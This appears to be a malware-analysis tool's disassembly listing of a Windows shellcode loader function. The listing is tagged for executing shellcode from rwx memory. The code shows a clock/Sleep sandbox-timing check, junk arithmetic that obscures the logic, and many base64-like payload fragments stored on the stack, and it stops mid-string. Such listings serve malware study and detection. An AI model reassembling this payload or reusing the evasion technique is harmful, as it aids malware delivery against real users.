Function at 0x401875
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
mov eax, 0x7d
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
movabs rax, 0x2118
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x7d
jl 0x401945
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0xe1
jge 0x401945
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, [0x0040401a]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x401971
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.zFdm
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x403aee
lea rax, str.OTBXRWhvYlZreGVEUk9SR2hqWlVSbmVsaElhR3hPUm5nMFdtcENZMlZIVlRSWVNHaHFUMFo0TkUxRVFtTmxSRUYzV0VobmQwM
mov qword [rbp - 0x18], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.UdlRFJPUkVaalpVUlZlRmhJWnpCTlZuZzBUbFJDWTJWRVZYbFlTR
mov qword [rbp - 0x20], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.2N4VFZaNE5FNVVXbU5sUkZFMFdFaG5lVmhJYUd0TmJIZzBUbXBXWTJWRVVUU
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.llTR2MwV1d4NE5FNVVTbU5sUkZs
mov qword [rbp - 0x30], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.M1dFaG5NRTlHZURSUFIwcGpaVVJWZVZoSVozaFBSbmcwVGtSb1kyVkVhR2x
mov qword [rbp - 0x38], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.ZU0djeFRXeDRORTFxUW1O
mov qword [rbp - 0x40], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.bFJGRTBXRW
mov qword [rbp - 0x48], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.huTkZsc2VEUk9la3BqWlVSVmQxaElaekJQUm5n
mov qword [rbp - 0x50], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.MFRVZGFZMlZIU1ROWVNHY3dXVlo0TkU1SFJtTmxSRkpyV0VobmVrMVdlRFJaZW14alpVUlJORmhJWjNw
mov qword [rbp - 0x58], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.TlZuZzBXWHBDWTJWSFJtcFlTR2Q2V1RGNE5FNXFSbU
mov qword [rbp - 0x60], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.5sUkdScVdFaG5kMDFzZURSTmJVNW
mov qword [rbp - 0x68], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.paVVJKZDFoSVp6Qk5WbmcwV1hwR1kyVkhUVFZZU0dkM1drWjRORTVFUm1ObFJFRjRXRWhvYWsxV2VEUmFWRXBqWlVkV2Exa
mov qword [rbp - 0x70], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.ElaekZOYkhnM
mov qword [rbp - 0x78], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.FRrUkdZMlZFVlhoWVNHY3dUMFo0TkU5SFNtTmxSRlY1V0VobmVVMUdlRFJQUjBwalpVUlJlVmhJWjNwWk1YZzBU
mov qword [rbp - 0x80], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.a1JvWTJWRVFYaFlTR2hyVFVaNE5FNXFXbU5sUkdkNFdFaG5NMDlHZURST
mov qword [rbp - 0x88], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.lZHaGpaVVJDYVZoSVozZE5iSGcwVG5wV1kyVkVZM2xZU0djMFdXeD
mov qword [rbp - 0x90], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.RORTlFUW1ObFJHYzBXRWhuZDAxR2VEUk5SRUpqWlVSQmQxaElaekJQUm5nMFQwUldZMlZIVFhkWVN
mov qword [rbp - 0x98], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.HY3pUa1o0TkU1cVpHTmxSRkUwV0VobmQwMVdlRFJhUkVKalpVUlZkMWhJWnpSWmJIZzBUa1JvWTJWRVJUUllTR
mov qword [rbp - 0xa0], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.2N3VGtaNE5FOUhTbU5sUkZGM1dFaG5lVTFHZURST1JHeGpaVVJCZUZoSWFHdE5SbmcwV2
mov qword [rbp - 0xa8], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.xST1kyVkVWVEpZU0djd1QwWjRORnB0V21ObFIwMDFXRWhuTUUxV2VEU
mov qword [rbp - 0xb0], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.lBSMHBqWlVSTk1GaElaelJQUm5nMFRrUm9ZMlZFUVhoWVNHaHJUb
mov qword [rbp - 0xb8], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.Xg0TkU1SFVtTmxSRTE0V0Vob2FrOVdlRFJPUkdoa
mov qword [rbp - 0xc0], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.lpVUk5lRmhJYUdwTlJuZzBXVmRPWTJWRVVYaFlTR2hxVFZaNE5GbDZiR05
mov qword [rbp - 0xc8], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.sUkVKcldFaG5NRTFXZURSTlJFWmpaVWROZUZoSVozcFBSbmcwV2xSQ1kyVkVZekZZU0dodFRWWjRORTVIVG1ObFJFRjZXRWhuT
mov qword [rbp - 0xd0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.UZreGVEUk5hbEpqWlVSQk5GaElaekJP
mov qword [rbp - 0xd8], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.Vm5nMFRYcHNZMl
mov qword [rbp - 0xe0], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.ZIVVhoWVNHY3pUbFo0TkZwRWFHTmxSRlUwV0Vobk1FNUdlRFJQUjBwalpVUlJkMWhJWjNsT
mov qword [rbp - 0xe8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.1JuZzBUa1JzWTJWRVFYaFlTR2hyVFVaNE5FNXFXbU5sUkZGNFdF
mov qword [rbp - 0xf0], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.aG5ORmxzZURSTlIwNWpaVVJSTkZoSVp6Qk9SbmcwVDBkS1kyVkVVWGRZU0dkNFdURjRORTVFYkdO
mov qword [rbp - 0xf8], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.bFJFRjRXRWhvYTAxR2VEUk9SR
mov qword [rbp - 0x100], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.VpqWlVSb2FWaE
mov qword [rbp - 0x108], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.laM2RPUm5nMFQwUm9ZMlZFVVRSWVNHZDNUVlo
mov qword [rbp - 0x110], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.0TkZwRVFtTmxSRkY0V0Vobk1VOUdlRF
mov qword [rbp - 0x118], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.JPUkVaalpVUlZORmhJWnpGYVZuZzBUbFJzWTJWRVZtaFlTR2
mov qword [rbp - 0x120], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.N3VFZaNE5FNVVhR05sUkZGNFdFaG5NVTlXZURST1JFWmpaVVJXYUZoSVp6QlBSbmcwVDBST1kyVkhWbXBZU0dkNVR
mov qword [rbp - 0x128], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.VWjRORTVFUm1ObFJGVjVXRWhvYlZwc2VEUmFWRUpqWlVSVk5GaElaekJOVm5nMF
mov qword [rbp - 0x130], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.RsUnNZMlZFVm1oWVNHY3dUMFo0TkU5SFNtTmxSRVY1V0Vob2JFOV
mov qword [rbp - 0x138], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.dlRFJPUjFwalpVZGFiVmhJYUcxYWJIZzBXb
mov qword [rbp - 0x140], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.TFhWTJWRVZtdFlTR2N5V1ZaNE5FMUVRbU5sUkZFMVdFaG9hVn
mov qword [rbp - 0x148], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.BXZURST2VtUmpaVVJaTlZoSVp6SmFWbmcwVG1wc
mov qword [rbp - 0x150], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.1kyVkVXbXhZU0djeVRsWjRORTU2VW1ObFJFRjNXRWhuTUUxV2VEUk9WRnBqWlVSUk5WaElaelJQVm5nMFds
mov qword [rbp - 0x158], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.UmFZMlZFVW
mov qword [rbp - 0x160], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.1wWVNHYzBUMVo0TkZwcVJtTmxSRkY0V0Vob2FWbFdlRFJPUjA1alpVUmpNMWhJWjN
mov qword [rbp - 0x168], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.sT2JIZzBUVVJrWTJWSFdtMVlTR2hyVGxaNE5FNUVhR05sUkUxNFdFaG9hazlXZURST1JHaG
mov qword [rbp - 0x170], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.paVVJOZUZoSWFHdE5iSGcwVGtkU1kyVkVUWGhZU0docVRVWjRORTVIVW1ObFJFMTRXRWhvYWs5V2VEU
mov qword [rbp - 0x178], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.k9SRVpqWlVSVmQxaElaekJOVm5nMFRsUkNZMlZFVVhoWVNHaHBXVlo0TkUweVJtTmxSRlV5V0Vobk0wOVd
mov qword [rbp - 0x180], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.lRFJaVkdSalpVZGFiVmhJYUd0T1ZuZzBXbGRLWTJWRVkzcFlTR2N4V1ZaNE5FN
mov qword [rbp - 0x188], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.UVhR05sUkdjMVdFaG9hazFXZURST1JFWmpaVWRKTkZoSVp6Rk5
mov qword [rbp - 0x190], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.SbmcwVFVSQ1kyVkVRWGRZU0dkM1RVWjRORTVIVW1ObFJFMTRXRWhvYWs5V2VEUk9SRVpqWlVSVmVGaElaekJOVm5n
mov qword [rbp - 0x198], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.MFRsUkdZMlZFV21oWVNHZDNUVEY0TkU1RVJtTmxSRlY0V0Vobk1FMVdlRFJaYlVaalpVUlZNMWhJWnpSUFZuZzB
mov qword [rbp - 0x1a0], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.UMWRhWTJWSFRUSllTR2h0V214NE5GcEVWbU5sUjFacFdFaG5NVTlXZURST1YwcGpaVVJSTkZoSVp6UlBWb
mov qword [rbp - 0x1a8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.mcwV1hwR1kyVkVVVFJZU0dkNlRWWjRORnBFU21O
mov qword [rbp - 0x1b0], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.bFJGRTFXRWhuTkU5V2VEUmFSR2hqWlVSU2ExaElaM3BOVm5nMFdYcHNZMlZFV
mov qword [rbp - 0x1b8], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.lhsWVNHY3lUMFo0TkUxRVFtTmxSRUY1V0Vobk1FMUdlRFJQUkZKalpVUlZlVmhJWnpGTmJIZzBUa1JHWTJWSFNtaFl
mov qword [rbp - 0x1c0], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.TR2hzV1d4NE5FNVVWbU5sUkVwc1dFaG5lbGxzZURSYWJWcGpaVWRST
mov qword [rbp - 0x1c8], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.VZoSVp6QlB
mov qword [rbp - 0x1d0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.SbmcwVDBSc1kyVkhUVEpZU0djd1QwWjRORTlFVG1ObFIwMTZXRWhuTVUxR2VEUk9iVVpqWlVSQ2FGaElaekZhYkhnMFR
mov qword [rbp - 0x1d8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.rUm9ZMlZFWnpWWVNHaHRUVlo0TkU1RWFHTmxSR2MxV0Vob2ExbFdlRFJPUkd4
mov qword [rbp - 0x1e0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.alpVZE5NMWhJYUdwTlJuZzBXbTFhWTJWSFdtMVlTR2h0V214NE5GcHRXbU5sUkZKcldFaG5lazFXZURSWmVteGpaVVJWZV
mov qword [rbp - 0x1e8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.ZoSVp6Rk5iSGcwVGtSR1kyVkhTbWhZU0dkNVdrWjRORTFFV21ObFJFV
mov qword [rbp - 0x1f0], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.TBXRWhuTTFsc2VEUmFiVnBqWlVkUk1WaElaelJPVm5nMFdYcE
mov qword [rbp - 0x1f8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.NZMlZFUW0xWVNHYzBUbFo0TkU5WFVtTmxSRUY0V0VobmQwMUdlRFJOUkVK
mov qword [rbp - 0x200], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.alpVUlJORmhJYUcxYWJIZzBXVEphWTJWRVFtMVlTR2MwVGtaNE5FOUhUbU5s
mov qword [rbp - 0x208], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.UkVGNFdFaG5kMDFHZURSTlJFSmpaVWRXYVZoSWFHdE5NWGcwV2xSc1kyVkhWVEJZU
mov qword [rbp - 0x210], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.0dkM1RWWjRORTFFUW1ObFJFRjNXRWhvYkU5R2V
mov qword [rbp - 0x218], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.EUlpWRXBqWlVkYWJWaElhRzFhYkhnMFdtMWFZMlZFU20xWVNHY3hUMVo0TkUxNmJHTmxSRlUxV0Vobk0wMXNlRFJO
mov qword [rbp - 0x220], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.UkVKalpVZE5ORmhJYUdwT1ZuZzBXV3BDWTJWRVZURllTR2hzVDFaNE5FMTZiR05sUjFKcFdFa
mov qword [rbp - 0x228], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.G5NbGt4ZURSYVZFSmpaVVJvYlZoSVozcE9iSGcwVGtkV1kyVkVWVE5ZU0djelQx
mov qword [rbp - 0x230], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.WjRORTlFUW1ObFIxRXhXRWhvYTA5R2VEUk5iVVpqWlVkT2FWaElaek5OUm5nMFRsUkNZMlZFVFhwWVNHaHRUVEY0TkZsdFVt
mov qword [rbp - 0x238], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.TmxSRVpxV0Vob2FGcFdlRFJPYWxaalpVZFJNbGhJYUd0Wk1YZzBXVEpLWTJWSFZtaFlTR2Q1VFd4NE5FNHlWbU5sUjBac
mov qword [rbp - 0x240], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.ldFaG5lVTB4
mov qword [rbp - 0x248], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.ZURSWmFrWmpaVWRGTVZoSVp6VmFiSGcwV21wa1kyVkhWVFJZU0d
mov qword [rbp - 0x250], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.kNFRsWjRORTF0VG1ObFIwVjRXRWhuTTA5R2VEUmFWMUpqWl
mov qword [rbp - 0x258], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.VSQ2JGaElaM2RaTVhnMFdWZFdZMlZIVlhoWVNHZ
mov qword [rbp - 0x260], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.DVXVlo0TkU1cWJHTmxSMGw2V0Vob2JGa3hlRFJOYW1oalpVZFpNRmhJWnpGYWJIZzBUWHB
mov qword [rbp - 0x268], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.rWTJWRVJYaFlTR2N5V214NE5GbHRVbU5sUkVVMVdFaG9iRTVHZUR
mov qword [rbp - 0x270], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.SWmVsSmpaVWROZWxoSWFHdFBSbmcwV1RKT1kyVkVSbTFZU0docldURjRORTFIVm1ObFJGa3lX
mov qword [rbp - 0x278], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.RWhvYTFwV2VEUk5SMXBqWlVSWk0xaElaM2ROUm5nMFRsUldZMlZFWTNwWVNHY3lUbFo0TkU1NlNtTmxSRXByV0
mov qword [rbp - 0x280], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
sub eax, ecx
mov dword [0x00404008], eax
lea rax, str.Vobk1FMVdlRFJPYW1SalpVUlpNVm
mov qword [rbp - 0x288], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.hJWnpKYVZuZzBUbnBTWTJWRVRtaFlTR2Q1VFVaNE5FNUhVb
mov qword [rbp - 0x290], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.U5sUkZwdFdFaG5NMWxXZURST2FteGpaVVJhYWxoSVp6SlpNWGcw
mov qword [rbp - 0x298], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.VG1wR1kyVkVTbTFZU0dkNlRrWjRORTF
mov qword [rbp - 0x2a0], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.0Vm1ObFJFMTNXRWhuZVUxR2VEUk5hbWhqWlVSWmVsaElaekphYkhnMFRtMVN
mov qword [rbp - 0x2a8], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404008]
add eax, ecx
mov dword [0x00404008], eax
lea rax, str.ZMlZFWTNkWVNHY3lUVlo0TkU1NlVtTmxSRmsxV0Vobk1rMXNlRFJPYlU1alpVUlpNVmhJWjNwWmJIZzBUV3BDWTJ
mov qword [rbp - 0x2b0], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.WRVVtdFlTR2N4VFRGNE5FNUViR05sUkZFeFdFaG5lV
mov qword [rbp - 0x2b8], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.TFHZURSTmVtUmpaVVJLYkZoSVozcE5SbmcwVFRKS1kyVkVTWGRZU0djeFRqRjRORTVxYkdObF
mov qword [rbp - 0x2c0], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
sub eax, ecx
mov dword [0x00404004], eax
lea rax, str.JGcHNXRWhuTWs1R2VEUk9iVnBqWlVSak0xaElaek5OTVhnMFRXcENZMlZFVW14WVNHY3hUa1o0
mov qword [rbp - 0x2c8], rax
mov eax, dword [0x00404004]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.TkUxcVFtTmxSRTB4V0VobmVWcFdlRFJOZWtaalpV
mov qword [rbp - 0x2d0], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404008]
imul eax, ecx
mov dword [0x00404008], eax
lea rax, str.Uk9hVmhJWjNsTlJuZzBUbFJTWTJWRVkzbFlTR2N5VDFaNE5FNXFVbU5sUkZreFdFaG5NbHBXZURST2VsSmpaVVJLYlZo
mov qword [rbp - 0x2d8], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.SVozcE9SbmcwVFcxV1kyVkVUWGRZU0dkNVQxWjRORTFIVW1ObFJFSm9XRWhuZDAxR2VEUmFSRlpqWlVkS2FGaElae
mov qword [rbp - 0x2e0], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.kJPTVhnMFQxUldZMlZFUlhwWVNHaHBXa1o0TkU5VVpHTmxSRUV4V0VobmVGcFdlRFJaYlZ
mov qword [rbp - 0x2e8], rax
mov eax, dword [section..data]
mov ecx, dword [0x00404004]
add eax, ecx
mov dword [0x00404004], eax
lea rax, str.KalpVZFplRmhJYUdoWk1YZzBUMVJTWTJWRVl6QllTR2Q1VDFaNE5GcFhSbU5sUjFwc1dFaG5lVmxXZURST1YxSmpaV
mov qword [rbp - 0x2f0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.WRWTTFoSVp6Vk9iSGcwVGtkYVkyVkVWVFJZU0dod
mov qword [rbp - 0x2f8], rax
mov eax, dword [0x00404008]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.FdXeDRORTVFVG1ObFJHUnBXRWhuTlU5V2VEUk9SR3hqWlVkU2FsaElaM2hOUm5nMFRsZFNZMlZIV1RWWVNHZDZUMFo0T
mov qword [rbp - 0x300], rax
mov eax, dword [0x00404008]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.kUweVVtTmxSMFpxV0Vobk1FMUdlRFJhYWtaalpVUlpNRmhJWnpOWk1YZzBUbnBLWTJWRWF6TllTR2MwV1ZaNE5FM
mov qword [rbp - 0x308], rax
mov eax, dword [0x00404004]
mov ecx, dword [0x00404004]
imul eax, ecx
mov dword [0x00404004], eax
lea rax, str.VhSbU5sUkd0NVdFaG9hVnBXZURST1YwWmpa
mov qword [rbp - 0x310], rax
lea rax, str.VWROTTFoSVp6Vk5NWGcwVGtSR1kyVkVSVFJZU0docFRXeDRO
mov qword [rbp - 0x318], rax
lea rax, str.RTFxVm1ObF
mov qword [rbp - 0x320], rax
lea rax, str.JGcG9XRWhuTWs5V2VEUmFWMHBqWlVSbk5WaElhR3BO
mov qword [rbp - 0x328], rax
lea rax, str.Vm5nMFRsUktZMlZIVm0xWVNHZDZXV3g0TkZwVVZtTmxSRkpzV0Vobk0wNUdlRFJPUkVwalpVZE9hMWhJYUd0YVJu
mov qword [rbp - 0x330], rax
lea rax, str.ZzBUWHBXWTJWRVRtMVl
mov qword [rbp - 0x338], rax
lea rax, str.TR2hzVFd4NE5GbFViR05sUkZwcFdFaG9iVTlXZURSTk1rcGpaVVJOTVZoSWFHdFpNWGcwV1ZkYVkyVkVhR2xZU0djMFRWWjRO
mov qword [rbp - 0x340], rax
lea rax, str.RTV0Um1ObFIxRjZXRWhuZWxsV2VEUk5hbEpqWlVkS2JGaElhR3RQ
mov qword [rbp - 0x348], rax
lea rax, str.Vm5nMFQwUnNZMlZIVFRKWVNHZDZXbXg0TkZreVRtTmxSMHByV0Vobk5FNUdlRFJhYWxKalpVUm5lVmhJWjNkWk1YZzBUVlJ
mov qword [rbp - 0x350], rax
lea rax, str.vWTJWRVp6VllTR2hxVDBaNE5GbHFVbU5sUkVWNFdFaG9hazFXZURST1JFNWpaVVJuTUZoSVp6Uk9SbmcwVFdwQ
mov qword [rbp - 0x358], rax
lea rax, str.1kyVkhXbXBZU0djd1RsWjRORnBVWkdObFJFVXdXR
mov qword [rbp - 0x360], rax
lea rax, str.WhuTWsweGVEUk9SMUpqWlVSR2FGaElhR3BhUm5nMFRVUm9ZMlZIVFRSWVNHZDZUbFo0TkZwVWJHTmxSR3N4V0VobmQ
mov qword [rbp - 0x368], rax
lea rax, str.wMVdlRFJhYWxKalpVUkZkMWhJWnpSTl
mov qword [rbp - 0x370], rax
lea rax, str.ZuZzBXbFJLWTJWRVdUQllTR2Q2VG1
mov qword [rbp - 0x378], rax
lea rax, str.4NE5FMVhWbU5
mov qword [rbp - 0x380], rax
lea rax, str.sUkd4cFdFaG5OVTFHZURSYWFteGpaVVJhYV
mov qword [rbp - 0x388], rax
lea rax, str.ZoSWFHcGFiSGcwV
mov qword [rbp - 0x390], rax
lea rax, str.21wb1kyVkVVWGRZU0dodFQwWjRORTV0V21ObFJFRjZ
mov qword [rbp - 0x398], rax
lea rax, str.XRWhuZDAxV2VEUk9iVTVqWlVSTk5GaElhR3RhUm5nMFQwUktZMlZFVW1
mov qword [rbp - 0x3a0], rax
lea rax, str.wWVNHZDZXV3g0T
mov qword [rbp - 0x3a8], rax
lea rax, str.kUxWFZtTmxSRkpxV0Vobk1WcHNlR
